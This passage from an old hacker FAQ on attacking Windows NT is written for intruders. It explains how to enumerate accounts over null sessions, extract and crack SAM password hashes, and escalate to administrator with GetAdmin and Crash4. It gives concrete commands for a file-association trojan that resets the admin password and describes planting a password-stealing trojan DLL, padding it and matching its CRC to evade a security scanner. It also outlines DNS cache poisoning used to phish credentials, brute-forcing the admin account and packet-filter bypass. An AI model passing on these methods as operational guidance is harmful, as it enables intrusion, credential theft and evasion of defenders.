  1511.   equiv or not.
  1512.  
  1513.   With NT typing "NBTSTAT -A targetipaddress" will give you the new
  1514.   Administrator account, assuming the god account is logged in. A bit of
  1515.   social engineering could get them to log in as well. Nbtstat will also
  1516.   give you other useful information such as services running, the NT
  1517.   domain name, the nodename, and the ethernet hardware address.
  1518.  
  1519.   Also see section From The Network which discusses a bug that allows
  1520.   you to get the new Administrator account name.
  1521.  
  1522.   Renaming or assigning the same rights to a different user name than
  1523.   Admin is more common with Netware than with NT, and I know of NO
  1524.   program that checks to see what the user name is (at least on NT). The
  1525.   paradigm is to check if the rights allow the action, not to see who is
  1526.   really running it.
  1527.  
  1528.  
  1529.   88..33..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr NNTT??
  1530.  
  1531.   If you are at a server and it is a domain controller (or you have
  1532.   simply hooked one up), try these steps to get a list of accounts on
  1533.   the target machine:
  1534.  
  1535.  
  1536.   1. From the USER MANAGER, create a trusting relationship with the
  1537.      target.
  1538.  
  1539.   2. Enter whatever when asked for a password. Don't fret when it
  1540.      doesn't work. The target is now on your trusting list.
  1541.  
  1542.   3. Launch NT Explorer and right click on any folder.
  1543.  
  1544.   4. Select SHARING.
  1545.  
  1546.   5. From the SHARED window, select ADD.
  1547.  
  1548.   6. From the ADD menu, select your target NT server.
  1549.  
  1550.   7. You will now see the entire group listing of the target.
  1551.  
  1552.   8. Select SHOW USERS and you will see the entire user listing,
  1553.      including full names and descriptions.
  1554.  
  1555.   This gives you a list of user accounts to target for individual
  1556.   attack. By studying the group memberships, you can even make decisions
  1557.   about who will have more privileges than others.
  1558.  
  1559.  
  1560.   88..44..  WWhhaatt ccaann nnuullll sseessssiioonnss ttoo aann NNTT mmaacchhiinnee tteellll mmee??
  1561.  
  1562.   By establishing a null session from your NT attacking machine to the
  1563.   target server, there are a few different things you can do to get
  1564.   account info:
  1565.  
  1566.   net use \\server_name\ipc$""/user:""
  1567.  
  1568.   if you see "The command completed successfully" then you are
  1569.   connected. Using local.exe and global.exe from the NT Resource Kit
  1570.   shold get you some usefull info. Here are two examples.
  1571.  
  1572.   Get the local administrators on the target:
  1573.  
  1574.   local anmistrators \\server_name
  1575.  
  1576.   Get the members of the group Domain Admins:
  1577.  
  1578.   global "domain admins" \\server_name
  1579.  
  1580.   For even more information, rum DumpACL and go for the user and group
  1581.   reports. This should give you every account on the box, plus a host of
  1582.   other useful info, such as who logged in last, if a password is
  1583.   required, who is in what group, etc. From this you can target specific
  1584.   accounts to attempt access.
  1585.   99..  NNTT PPaasssswwoorrddss
  1586.  
  1587.   This section deals with NT passwords.
  1588.  
  1589.  
  1590.   99..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNTT??
  1591.  
  1592.   The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which
  1593.   is the location of the security database.  This is usually world
  1594.   readable by default, but locked since it is in use by system
  1595.   compotents. It is possible that there are SAM.SAV files which could be
  1596.   readable. If so, these could be obtained for the purpose of getting
  1597.   password info.
  1598.  
  1599.   During the installation of NT a copy of the password database is put
  1600.   in \\WINNT\REPAIR. Since it was just installed, only the Administrator
  1601.   and Guest accounts will be there, but maybe Administrator is enough --
  1602.   especially if the Administrator password is not changed after
  1603.   installation.
  1604.  
  1605.   If the Sys Admin updates their repair disks, or you get a hold of a
  1606.   copy of the repair disks, you can get password database. The file is
  1607.   SAM._ in the ERD directory.
  1608.  
  1609.   If you are insane, you can go poking around in the SAM secret keys.
  1610.   First, schedule service to logon as LocalSystem and allow it to
  1611.   interact with the desktop, and then schedule an interactive regedt32
  1612.   session. The regedt32 session will be running as LocalSystem and you
  1613.   can play around in the secret keys. However, if you change some stuff
  1614.   this might be very bad. You have to be Administrator to do this,
  1615.   though, so for the hacker you need to walk up to the machine while the
  1616.   Administrator is logged in and distract them by telling them they're
  1617.   giving away Microsoft t-shirts in the lobby (this doesn't always work
  1618.   ;-). Of course you can simply use a couple of different utilities for
  1619.   dumping the password hashes out, like PWDUMP or even running
  1620.   L0phtcrack (which has pwdump code built in) if you are in as
  1621.   Administrator.
  1622.  
  1623.  
  1624.   99..22..  WWhhaatt ddoo II ddoo wwiitthh aa ccooppyy ooff SSAAMM??
  1625.  
  1626.   You get passwords. First use a copy of SAMDUMP.EXE to extract the user
  1627.   info out of it. You do not need to import this data into the Registry
  1628.   of your home machine to play with it. You can simply load it up into
  1629.   one of the many applications for cracking passwords, such as
  1630.   L0phtCrack. See section 3 for more info on NT passwords and cracking
  1631.   them.
  1632.  
  1633.  
  1634.   99..33..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNTT ppaasssswwoorrddss??
  1635.  
  1636.   Two one-way hashes are stored on the server -- a Lan Manager hash, and
  1637.   a Windows NT hash. Lan Manager uses a 14 byte password. If the
  1638.   password is less than 14 bytes, it is concantenated with 0's. It is
  1639.   converted to upper case, and split into 7 byte halves. An 8 byte odd
  1640.   parity DES key is constructed from each 7 byte half. Each 8 byte DES
  1641.   key is encrypted with a "magic number" (0x4B47532140232425 encrypted
  1642.   with a key of all 1's). The results of the magic number encryption are
  1643.   concantenated into a 16 byte one way hash value. This value is the Lan
  1644.   Manager one-way hash of the password. A regular Windows NT password is
  1645.   derived by converting the user's password to Unicode, and using MD4 to
  1646.   get a 16 byte value. This value is the NT one-way hash of the
  1647.   password.
  1648.  
  1649.   The reason there are two hashes is because the Lan Manager hash is for
  1650.   legacy support. In an all-NT environment it would be desirable to turn
  1651.   off Lan Man passwords. Since Lan Man uses a weakened DES key and
  1652.   converts all alpha characters to uppercase, it is easier to crack. The
  1653.   regular NT method uses a stronger algorithm and allows mixed-cased
  1654.   passwords.
  1655.  
  1656.   So to crack NT passwords, the username and the corresponding one way
  1657.   hashes (Lan Man and NT) need to be extracted from the password
  1658.   database. Instead of going out and writing some code to do this,
  1659.   simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM
  1660.   and gets the information for you. As previously stated, PWDUMP does
  1661.   require that you are an Administrator to get stuff out of the
  1662.   registry.
  1663.  
  1664.   Since Microsoft does not ``salt'' during hash generation, once a
  1665.   potential password has generated a hash it can be checked against ALL
  1666.   accounts. All current NT crackers take advantage of this. Several
  1667.   freeware and shareware products are available on the Internet. They
  1668.   include:
  1669.  
  1670.  
  1671.   Cracker          Author(s)           Compiles on...  Notes
  1672.   ---------------- ------------------- --------------- ----------------------
  1673.   c50a-nt-0.20.tgz Bob Tinsley         Unix            Dictionary cracker, a
  1674.                                                        port of Alec Muffett's
  1675.                                                        Crack 5.0 for Unix.
  1676.  
  1677.   lc201exe.zip     Mudge and Weld Pond Unix, includes  Best of the bunch, can
  1678.                     from the L0pht     GUI NT version  do brute force very
  1679.                                        and DOS version quickly, also can use
  1680.                                                        a dictionary.
  1681.  
  1682.   NTCrack.tar.gz   Jonathan Wilkins    Unix, includes  Dictionary cracker, on
  1683.                                        NT version      it's second revision.
  1684.  
  1685.  
  1686.  
  1687.  
  1688.   99..44..  HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??
  1689.  
  1690.   As previously pointed out, the Lan Manager password concantenated to
  1691.   14 bytes, and split in half. The halves can be worked on individually.
  1692.   If the password was originally only 7 characters or less, that second
  1693.   half is always 0xAAD3B435B51404EE. To further ease brute force
  1694.   cracking, since a substantial reduction in bits occurs during the
  1695.   deriving of the 8 byte DES key from the 7 byte key, less keys have to
  1696.   be tried. Also since the password is converted to upper case before
  1697.   one way encrypting it, Lan Manager password cracking does not have to
  1698.   take into consideration the possibility of lower case letters.
  1699.   L0phtcrack incorporates techniques to exploit all of these
  1700.   possibilities.
  1701.  
  1702.   By cracking the Lan Man password first, the NT password can be brute
  1703.   forced to determine the proper case of each alpha character.
  1704.   L0phtcrack 2.01, the latest version as of this writing, is lightning
  1705.   fast.
  1706.  
  1707.  
  1708.   99..55..  HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??
  1709.  
  1710.   All three of the password crackers mentioned can do dictionary
  1711.   attacks. Only L0phtcrack does not use rules to permutate the wordlist.
  1712.   It is assumed you have pre-treated the wordlist with L0phtcrack, and
  1713.   quite frankly L0phtcrack is blindingly fast in a dictionary crack
  1714.   anyway.
  1715.  
  1716.  
  1717.   99..66..  II lloosstt tthhee NNTT AAddmmiinniissttrraattoorr ppaasssswwoorrdd.. WWhhaatt ddoo II ddoo??
  1718.  
  1719.   Use the Offline NT Password Editor by Petter Nordahl-Hagen. You need
  1720.   to download Petter's code to your Linux machine (you DO have one of
  1721.   those, don't you?) and compile it using a libDES and MD4 library. Now
  1722.   mount the NT drive read/write and follow the instructions in the
  1723.   readme. The instructions are pretty easy to follow, especially if you
  1724.   know enough to get to the point to use them ;-)
  1725.  
  1726.   Actually, to make things easier, Petter has built a bootdisk image
  1727.   that steps you through the entire thing. I'll be the first to admit
  1728.   that Petter's code is as dangerous as hell, but it does work and I had
  1729.   no problems. YMMV.
  1730.  
  1731.   Consider using GetAdmin.exe (in the NT Attack Section) and go from
  1732.   there if you are too paranoid or fearful of booting up Linux to get to
  1733.   an NT machine.
  1734.  
  1735.  
  1736.   99..77..  HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss??
  1737.  
  1738.   There are several freeware utilities that allow for password changing
  1739.   with rules enforced. These range from the simple passwd utility by
  1740.   Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource
  1741.   Kit has a utility called Passprop that enforces random passwords. Also
  1742.   on Service Pack 2 is a DLL called PASSFILT that will does basically
  1743.   the same thing.
  1744.  
  1745.  
  1746.   99..88..  CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp SSAAMM eexxttrraaccttiioonn??
  1747.  
  1748.   As long as you can get in as Administrator, you are basically
  1749.   vulnerable. Microsoft has gradually increased its security for the SAM
  1750.   files and the hashes, but as things like L0phtCrack are quickly
  1751.   improved and Microsoft insists on backward compatibility with LAN
  1752.   Manager-style logins, things will be vulnerable. In fact, the latest
  1753.   L0phtCrack can actually sniff the network, store the data exchanged
  1754.   between client and server, and crack the hashes traced.  So for you
  1755.   sys admins out there, keep absolutely current of Service Packs and Hot
  1756.   Fixes. For you hackers out there, well, it's a big bright world ;-)
  1757.  
  1758.  
  1759.   99..99..  HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??
  1760.  
  1761.   Let's say an admin is checking the last time certain users have logged
  1762.   in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
  1763.   it will NOT be.
  1764.  
  1765.   Most users do not login directly to the Primary Domain Controller
  1766.   (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
  1767.   contain readonly versions of SAM, they contain read-write versions. To
  1768.   keep the already ungodly amount of network traffic down, BDCs do not
  1769.   tell the PDC that they have an update of the last login time until a
  1770.   password change has been done. And the NET USER /DOMAIN command checks
  1771.   the PDC, so last login time returned from this command could be wildly
  1772.   off (it could even show NEVER).
  1773.  
  1774.   As a hacker, if you happen to know that password aging is not
  1775.   enforced, then you can bet that last login times will probably not be
  1776.   very accurate.
  1777.  
  1778.  
  1779.  
  1780.  
  1781.  
  1782.  
  1783.   1100..  NNTT CCoonnssoollee AAttttaacckkss
  1784.  
  1785.   This section deals with attacking at the NT Console.
  1786.  
  1787.  
  1788.   1100..11..  WWhhaatt ddooeess ddiirreecctt ccoonnssoollee aacccceessss ffoorr NNTT ggeett mmee??
  1789.  
  1790.   First off, a number of ``NT client attacks'' may not work if your
  1791.   target system does not allow logins except at the console. Any brute
  1792.   force attack will obviously work much quicker if you are not going
  1793.   across the network.
  1794.  
  1795.  
  1796.   1100..22..  WWhhaatt aabboouutt NNTT''ss ffiillee ssyysstteemm??
  1797.  
  1798.   Obviously gaining access to the file system from the console is much
  1799.   easier than across a network, especially if the Sys Admin is trying to
  1800.   keep you out.
  1801.  
  1802.   Try booting up the system from an MS-DOS diskette, and running
  1803.   NTFSDOS.EXE to access the NTFS file system. Currently this software is
  1804.   read only, so it is only good for getting copies of existing data.
  1805.   Linux is another OS that will read an NTFS file system, but "simply
  1806.   loading Linux" on a "spare partition" is usually impractical, and
  1807.   hardly simple if you are not familiar with it. See the question
  1808.   regarding recovering a ``lost NT password'' that uses Linux in the
  1809.   recovery process. I mean, if you log in as Administrator then you
  1810.   definitely have access to the file system ;-).
  1811.  
  1812.  
  1813.   1100..33..  WWhhaatt iiss NNeettmmoonn aanndd wwhhyy ddoo II ccaarree??
  1814.  
  1815.   NetMon is Microsoft's Network Monitor. It is a sniffer that runs under
  1816.   NT, and being a sniffer if you have to ask why you care, well, never
  1817.   mind ;-)
  1818.  
  1819.   NetMon is protected by a password scheme on version 3.51 that has
  1820.   nothing to do with regular NT security. In Phrack 48 file 15, AON and
  1821.   daemon9 have not only cracked the encryption scheme, they have written
  1822.   exploits for it as well. Check the resources section for the location
  1823.   of the exploit code (it includes full source including a Unix version
  1824.   in case you do not have an NT compiler).
  1825.  
  1826.   By the way, compared to other commercial sniffers, this early version
  1827.   of NetMon sucks.  It would only look at traffic to and from the
  1828.   machine you are running it on. However, newer versions of NetMon
  1829.   supposedly do actual promiscuous sniffing and is a more useful tool. I
  1830.   have not seen this new NetMon but others report good things about it.
  1831.  
  1832.  
  1833.  
  1834.  
  1835.   1111..  NNTT CClliieenntt AAttttaacckkss
  1836.  
  1837.   This section deals with attacking NT remotely.
  1838.  
  1839.  
  1840.   1111..11..  WWhhaatt iiss GGeettAAddmmiinn..eexxee aanndd CCrraasshh44..eexxee??
  1841.  
  1842.   GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a
  1843.   subfunction in NtAddAtom that does not check the address of the
  1844.   output. By altering where the output can be written to, GetAdmin adds
  1845.   a user to the Administrators group. It works on NT 4.0.
  1846.  
  1847.   The easiest way to use it is to simply copy it to \TEMP (along with
  1848.   its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever
  1849.   account you wish to add).
  1850.  
  1851.   This will add Guest to the Administrators group.
  1852.  
  1853.   GetAdmin will add domain accounts on a primary domain controller and
  1854.   even other domain accounts. Since it is a command line tool, it will
  1855.   work across a telnet session if you've uploaded it to the target.
  1856.  
  1857.   There is a post SP3 Hot Fix available from Microsoft that defeats this
  1858.   if loaded.
  1859.  
  1860.   Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply
  1861.   run Crash4 and followed by GetAdmin as previously mentioned. Crash4
  1862.   rearranges a few things on the stack to allow GetAdmin to work.
  1863.  
  1864.  
  1865.   1111..22..  SShhoouulldd II eevveenn ttrryy ffoorr llooccaall aaddmmiinniissttrraattoorr aacccceessss??
  1866.  
  1867.   Oh yes. A lot of NT administrators do not understand that when an NT
  1868.   box joins a domain, if they left that administrator password blank, it
  1869.   doesn't get "filled in" or "overwritten". Belonging to a domain does
  1870.   NOT turn off local users.
  1871.  
  1872.   If you gain local administrator, try some of these tricks (these will
  1873.   work with the default settings after installation on the target):
  1874.  
  1875.  
  1876.   +o  NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)
  1877.  
  1878.   +o  Add the machine name this returns to your LMHOSTS file.
  1879.  
  1880.   +o  If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the
  1881.      NetBios names.
  1882.  
  1883.   +o  Try NET VIEW \\machinename to see the shares
  1884.  
  1885.   +o  Try DIR \\machinename\share to list shares if open
  1886.  
  1887.   +o  Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com,
  1888.      which should get you the user names under NT 4.0.
  1889.  
  1890.  
  1891.   1111..33..  II hhaavvee gguueesstt rreemmoottee aacccceessss.. HHooww ccaann II ggeett aaddmmiinniissttrraattoorr aacccceessss??
  1892.  
  1893.   The easiest way is to run GetAdmin as mentioned above, but here is an
  1894.   older tricks for basic NT 3.51, which as some has some stuff
  1895.   read/writeable by default. You could edit the association between an
  1896.   application and the data file extension using regedt32. First off, you
  1897.   should write a Win32 app that does nothing but the following -
  1898.  
  1899.  
  1900.           net user administrator biteme /y
  1901.           notepad %1 %2 %3 %4 %5
  1902.  
  1903.  
  1904.  
  1905.   In a share you have read/write access to, upload it. Now change the
  1906.   association between .txt files and notepad to point to the location of
  1907.   the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.
  1908.  
  1909.   Now wait for the administrator to launch a text file by double
  1910.   clicking on it, and the password becomes "biteme".
  1911.  
  1912.   Of course, if the Sys Admin is smart they will have removed write
  1913.   permission from Everyone for HKEY_CLASSES_ROOT, only giving out full
  1914.   access to creator\owner.
  1915.   1111..44..  WWhhaatt aabboouutt %%ssyysstteemmrroooott%%tteemm3322 bbeeiinngg wwrriitteeaabbllee??
  1916.  
  1917.   Well, this can be exploited on NT 4.0 by placing a trojaned
  1918.   FPNWCLNT.DLL in that directory. This file typically exists in a mixed
  1919.   NT/Netware environment. First compile the exploit code written by
  1920.   Jeremy Allison (jra@cygnus.com) and call the resulting file
  1921.   FPNWCLNT.DLL. A pointer to the exploit code is in the Resources
  1922.   section. Now wait for the user names and passwords to get written to a
  1923.   file in \temp.
  1924.  
  1925.   If you load this on a Primary Domain Controller, you'll get
  1926.   EVERYBODY'S password. You have to reboot the server after placing the
  1927.   trojan in %systemroot%\system32.
  1928.  
  1929.   ISS (www.iss.net) has a security scanner for NT which will detect the
  1930.   trojan DLL, so you may wish to consider adding in extra junk to the
  1931.   above code to make the size of the compiled DLL match what the
  1932.   original was, and using a CRC matcher program (several exist on the
  1933.   Internet) to make the CRC between the trojan and the real version
  1934.   match. This will prevent the current shipping version of ISS's NT
  1935.   scanner from picking up the trojan.
  1936.  
  1937.   It should be noted that by default the group Everyone has default
  1938.   permissions of "Change" in %systemroot\system32, so any DLL that is
  1939.   not in use by the system could be replaced with a trojan DLL that does
  1940.   something else.
  1941.  
  1942.  
  1943.   1111..55..  WWhhaatt iiff tthhee ppeerrmmiissssiioonnss aarree rreessttrriicctteedd oonn tthhee sseerrvveerr??
  1944.  
  1945.   By default the NT administrator account does not have a lockout
  1946.   feature like normal users accounts, to prevent a denial-of-service
  1947.   attack on the administrator account. Since failed logins are not
  1948.   logged by default, you could possibly gain administrator access by
  1949.   sheer brute force.
  1950.  
  1951.   If the Sys Admin runs passprop.exe they can turn on the lockout
  1952.   feature of Administrator.
  1953.  
  1954.  
  1955.   1111..66..  WWhhaatt eexxaaccttllyy ddooeess tthhee NNeettBBiiooss AAuuddiittiinngg TTooooll ddoo??
  1956.  
  1957.   Developed by Secure Networks Inc., it comes in pre-compiled Win32
  1958.   binary form as well as the complete source code. It is the "SATAN" of
  1959.   NetBios based systems.
  1960.  
  1961.   Here is a quote from Secure Networks Inc about the product -
  1962.  
  1963.   "The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS
  1964.   file-sharing services offered by the target system. It implements a
  1965.   stepwise approach to gather information and attempt to obtain file
  1966.   system-level access as though it were a legitimate local client.
  1967.  
  1968.   "The major steps are as follows:
  1969.  
  1970.   "A UDP status query is sent to the target, which usually elicits a
  1971.   reply containing the Netbios 'computer name'. This is needed to
  1972.   establish a session. The reply also can contain other information such
  1973.   as the workgroup and account names of the machine's users.  This part
  1974.   of the program needs root privilege to listen for replies on UDP port
  1975.   137, since the reply is usually sent back to UDP port 137 even if the
  1976.   original query came from some different port.
  1977.  
  1978.   "TCP connections are made to the target's Netbios port [139], and
  1979.   session requests using the derived computer name are sent across.
  1980.   Various guesses at the computer name are also used, in case the status
  1981.   query failed or returned incomplete information. If all such attempts
  1982.   to establish a session fail, the host is assumed invulnerable to
  1983.   NETBIOS attacks even if TCP port 139 was reachable.
  1984.  
  1985.   "Provided a connection is established Netbios 'protocol levels' are
  1986.   now negotiated across the new connection. This establishes various
  1987.   modes and capabilities the client and server can use with each other,
  1988.   such as password encryption and if the server uses user-level or
  1989.   share-level Security. The usable protocol level is deliberately
  1990.   limited to LANMAN version 2 in this case, since that protocol is
  1991.   somewhat simpler and uses a smaller password keyspace than NT.
  1992.  
  1993.   "If the server requires further session setup to establish
  1994.   credentials, various defaults are attempted. Completely blank
  1995.   usernames and passwords are often allowed to set up standard account
  1996.   names such as ADMINISTRATOR, and some of the names returned from the
  1997.   status query. Extensive username/password checking is NOT done at this
  1998.   point, since the aim is just to get the session established, but it
  1999.   should be noted that if this phase is reached at all MANY more guesses
  2000.   can be attempted and likely without the owner of the target being
  2001.   immediately aware of it.
  2002.  
  2003.   "Once the session is fully set up, transactions are performed to
  2004.   collect more information about the server including any file system
  2005.   'shares' it offers.
  2006.  
  2007.   "Attempts are then made to connect to all listed file system shares
  2008.   and some potentially unlisted ones. If the server requires passwords
  2009.   for the shares, defaults are attempted as described above for session
  2010.   setup. Any successful connections are then explored for writeability
  2011.   and some well-known file-naming problems [the ".." class of bugs].
  2012.  
  2013.   "If a NETBIOS session can be established at all via TCP port 139, the
  2014.   target is declared under the appropriate vulnerability at most of
  2015.   these steps, since any point along the way be blocked by the Security
  2016.   configurations of the target. Most Microsoft-OS based servers and Unix
  2017.   SAMBA will yield computer names and share lists, but not allow actual
  2018.   file-sharing connections without a valid username and/or password. A
  2019.   remote connection to a share is therefore a possibly serious Security
  2020.   problem, and a connection that allows WRITING to the share almost
  2021.   certainly so. Printer and other 'device' services offered by the
  2022.   server are currently ignored."
  2023.  
  2024.   If you need more info on NAT, try looking at this web location:
  2025.  
  2026.   http://www.secnet.com/ntinfo/ntaudit.html
  2027.   <http://www.secnet.com/ntinfo/ntaudit.html>
  2028.  
  2029.  
  2030.   1111..77..  WWhhaatt iiss tthhee ""RReedd BBuuttttoonn"" bbuugg??
  2031.  
  2032.   MWC has released an exploit that allows the following to occur -- the
  2033.   registry of a remote machine can be accessed, a list of users AND of
  2034.   shares can be obtained, even if the intruder hasn't logged in.
  2035.  
  2036.   There is a built in user called "anonymous" that is usually used for
  2037.   communication between machines. This exploit takes advantage of the
  2038.   fact that anonymous is a member of the group Everyone. Because of
  2039.   this, the following can be done:
  2040.  
  2041.  
  2042.   +o  Any share that can be accessed by Everyone is vulnerable.
  2043.  
  2044.   +o  System and application logs can be read.
  2045.  
  2046.  
  2047.   +o  Any NT machine with NetBios bound to the network can have its
  2048.      registry read or written to if Everyone has that access.
  2049.  
  2050.   +o  Using Lan Manager calls can give a list of all users, the
  2051.      Administrator (if renamed), and a list of all shares.
  2052.  
  2053.   Using this access a trojan could be loaded, since often the group
  2054.   Everyone has access to application software.
  2055.  
  2056.   It is possible that a Sys Admin could have unbound NetBios from the
  2057.   interface. This would disallow some access. Typically at a security
  2058.   aware site you would find the machines outside the firewall, like the
  2059.   Web server or FTP server configured this way (and all other access
  2060.   blocked by the firewall. However if you compromise the machine this
  2061.   could be a handy partial backdoor -- especially if you are using one
  2062.   machine as a "drop" during an attack.
  2063.  
  2064.   The bug can manually be done -- no exploit code needed. Try this from
  2065.   a 4.00 workstation:
  2066.  
  2067.  
  2068.       net use \\targetserver\ipc$ "" /user:""
  2069.  
  2070.  
  2071.  
  2072.   Now run User Manager, Event Viewer, Registry Editor, or simply use the
  2073.   net command to target the remote machine.
  2074.  
  2075.   The administrator account's SID always ends in -500 (Guest is -501) so
  2076.   find that and you have the administrator account, even if renamed. The
  2077.   built-in local groups (documented and undocumented) always have the
  2078.   same SID, so check out your own machine first and compare --
  2079.   especially if some of these have been renamed.
  2080.  
  2081.   If all the users are moved from the Everyone group, you not be able to
  2082.   exploit this. For you admins out there, ISS has released a tool to
  2083.   automate this "move users out of Everyone" process. And admins you
  2084.   should check and see what shares that Everyone can get to.
  2085.  
  2086.   MWC's web site is http://www.ntsecurity.com/
  2087.   <http://www.ntsecurity.com/>, and the exploit code can be found there.
  2088.  
  2089.   ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe
  2090.   <ftp://ftp.iss.net/everyone2users.exe>.
  2091.  
  2092.  
  2093.   1111..88..  WWhhaatt aabboouutt ffoorrggiinngg DDNNSS ppaacckkeettss ffoorr ssuubbvveerrssiivvee ppuurrppoosseess??
  2094.  
  2095.   Sure. ;-)
  2096.  
  2097.   By forging UDP packets, NT name server caches can be compromised. If
  2098.   recursion is allowed on the name server, you can do some nasty things.
  2099.   Recursion is when a server receives a name server lookup request for a
  2100.   zone or domain for which is does not serve. This is typical how most
  2101.   setups for DNS are done.
  2102.  
  2103.   So how do we do it? We will use the following example:
  2104.  
  2105.   We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org
  2106.   with an address of 10.10.10.2, and bait.nmrc.org with an address of
  2107.   10.10.10.3. Our mission? Make the users at lame.com access
  2108.   pirate.nmrc.org when they try to access www.lamer.net.
  2109.  
  2110.   Okay, assume automation is at work here to make the attack smoother...
  2111.  
  2112.  
  2113.   +o  DNS query is sent to ns.lame.com asking for address of
  2114.      bait.nmrc.org.
  2115.  
  2116.   +o  ns.lame.com asks ns.nmrc.org what the address is.
  2117.  
  2118.   +o  The request is sniffed, and the query ID number is obtained from
  2119.      the request packet.
  2120.  
  2121.   +o  DNS query is sent to ns.lame.com asking for the address of
  2122.      www.lamer.net.
  2123.  
  2124.   +o  Since we know the previous query ID number, chances are the next
  2125.      query ID number will be close to that number.
  2126.  
  2127.   +o  We send spoofed DNS replies with several different query ID
  2128.      numbers. These replies are spoofed to appear to come from
  2129.      ns.lamer.net, and state that its address is 10.10.10.2.
  2130.  
  2131.   +o  pirate.nmrc.org is set up to look like www.lamer.net, except maybe
  2132.      it has a notice to "go to the new password page and set up an
  2133.      account and ID". Odds are this new password is used by that
  2134.      lame.com user somewhere else...
  2135.  
  2136.   With a little creativity, you can also do other exciting things like
  2137.   reroute (and make copies of) email, denial of service (tell lame.com
  2138.   that www.lamer.net doesn't exist anymore), and other fun things.
  2139.  
  2140.   Supposedly SP 3 fixes this.
  2141.  
  2142.  
  2143.   1111..99..  WWhhaatt aabboouutt sshhaarreess??
  2144.  
  2145.   The main thing to realize about shares is that there are a few that
  2146.   are invisible.  Administrative shares are default accounts that cannot
  2147.   be removed. They have a $ at the end of their name. For example C$ is
  2148.   the administrative share for the C: partition, D$ is the
  2149.   administrative share for the D: partition. WINNT$ is the root
  2150.   directory of the system files.
  2151.  
  2152.   By default since logging is not enabled on failed attempts and the
  2153.   administrator doesn't get locked out from false attempts, you can try
  2154.   and try different passwords for the administrator account. You could
  2155.   also try a dictionary attack. Once in, you can get at basically
  2156.   anything.
  2157.  
  2158.  
  2159.   1111..1100..  HHooww ddoo II ggeett aarroouunndd aa ppaacckkeett ffiilltteerr--bbaasseedd ffiirreewwaallll??
  2160.  
  2161.   If the target NT box is behind a firewall that is doing packet
  2162.   filtering (which is not considered firewalling by many folks) and it
  2163.   does not have SP3 loaded it is possible to send it packets anyway.
  2164.   This involves sending decoy IP packet fragments with specially crafted
  2165.   headers that will be "reused" by the malicious IP packet fragments.
  2166.   This is due to a problem with the way NT's TCP/IP stack handles
  2167.   reassembling fragmented packets. As odd as this sounds, example code
  2168.   exists to prove it works. See the web page at
  2169.   http://www.dataprotect.com/ntfrag <http://www.dataprotect.com/ntfrag>
  2170.   for details.
  2171.  
  2172.   How does it bypass the packet filter? Typically packet filtering only
  2173.   drops the fragmented packet with the offset of zero in the header. The
  2174.   example source forges the headers to get around this, and NT happily
  2175.   reassembles what does arrive.
  2176.  
  2177.  
  2178.  
  2179.   1111..1111..  II hhaacckk ffrroomm mmyy LLiinnuuxx bbooxx.. HHooww ccaann II ddoo aallll tthhaatt GGUUII ssttuuffff oonn
  2180.   rreemmoottee NNTT sseerrvveerrss??
  2181.  
  2182.   Try and get familiar with the net use and net user commands before
  2183.   attacking.
  2184.  
  2185.   The main problem is adjusting NT file security attributes. Some
  2186.   utilities are available with NT that can be used, but I'd recommend
  2187.   using the NT Command Line Security Utilities.  They include:
  2188.  
  2189.  
  2190.     saveacl.exe - saves file, directory and ownership permissions to a file
  2191.     restacl.exe - restores file permissions and ownership from a saveacl file
  2192.     listacl.exe - lists file permissions in human readable format
  2193.     swapacl.exe - swaps permissions from one user or group to another
  2194.     igrant.exe - grants permisssions to users/groups on directories
  2195.     irevoke.exe - revokes permissions to users/groups on directories
  2196.     setowner.exe - sets the ownership of files and directories
  2197.     audit.exe - add and remove audit triggers to files and directories
  2198.     regilstacl.exe - print registry subkey security to the screen
  2199.     reggrant.exe - grant access to users and groups on registry subkeys
  2200.     regrevoke.exe - revoke access from users and groups on subkeys
  2201.     regsetowner.exe - change registry subkey ownership
  2202.     regswapacl.exe - swaps permissions from one user group to another
  2203.     regaudit.exe - add and delete audit triggers on keys
  2204.     sharelistacl.exe - list permissions on a local or remote share
  2205.     sharegrant.exe - grant permissions to a local or remote share
  2206.     sharerevoke.exe - revoke permissions from a local or remote share
  2207.     ntuser.exe - manipulate account and group properties
  2208.     nu.exe - 'net use' replacement. shows connected drives.
  2209.  
  2210.  
  2211.  
  2212.   Listacl and reglistacl also display the current auditing state of
  2213.   files, directories, and regisrty keys.
  2214.  
  2215.   Each of the programs contains a built-in help screen. Just run any of
  2216.   the programs with a "-h" argument and the help screen will be
  2217.   displayed. Most utlilities support a "-r" option for recursive options
  2218.   throughout the program.
  2219.  
  2220.   The collection is $45 (USD), it is shareware, but well worth the
  2221.   price. Even if the set only included the ntuser.exe utility, it would
  2222.   still be worth the money.
  2223.  
  2224.   Check out ftp://ftp.pedestalsoftware.com/pub/pedestal
  2225.   <ftp://ftp.pedestalsoftware.com/pub/pedestal> to download the
  2226.   collection.
  2227.  
  2228.  
  2229.  
  2230.   1122..  NNTT DDeenniiaall ooff SSeerrvviiccee
  2231.  
  2232.   This section deals with ``Denial of Service'' attacks that are
  2233.   specific to NT.
  2234.  
  2235.  
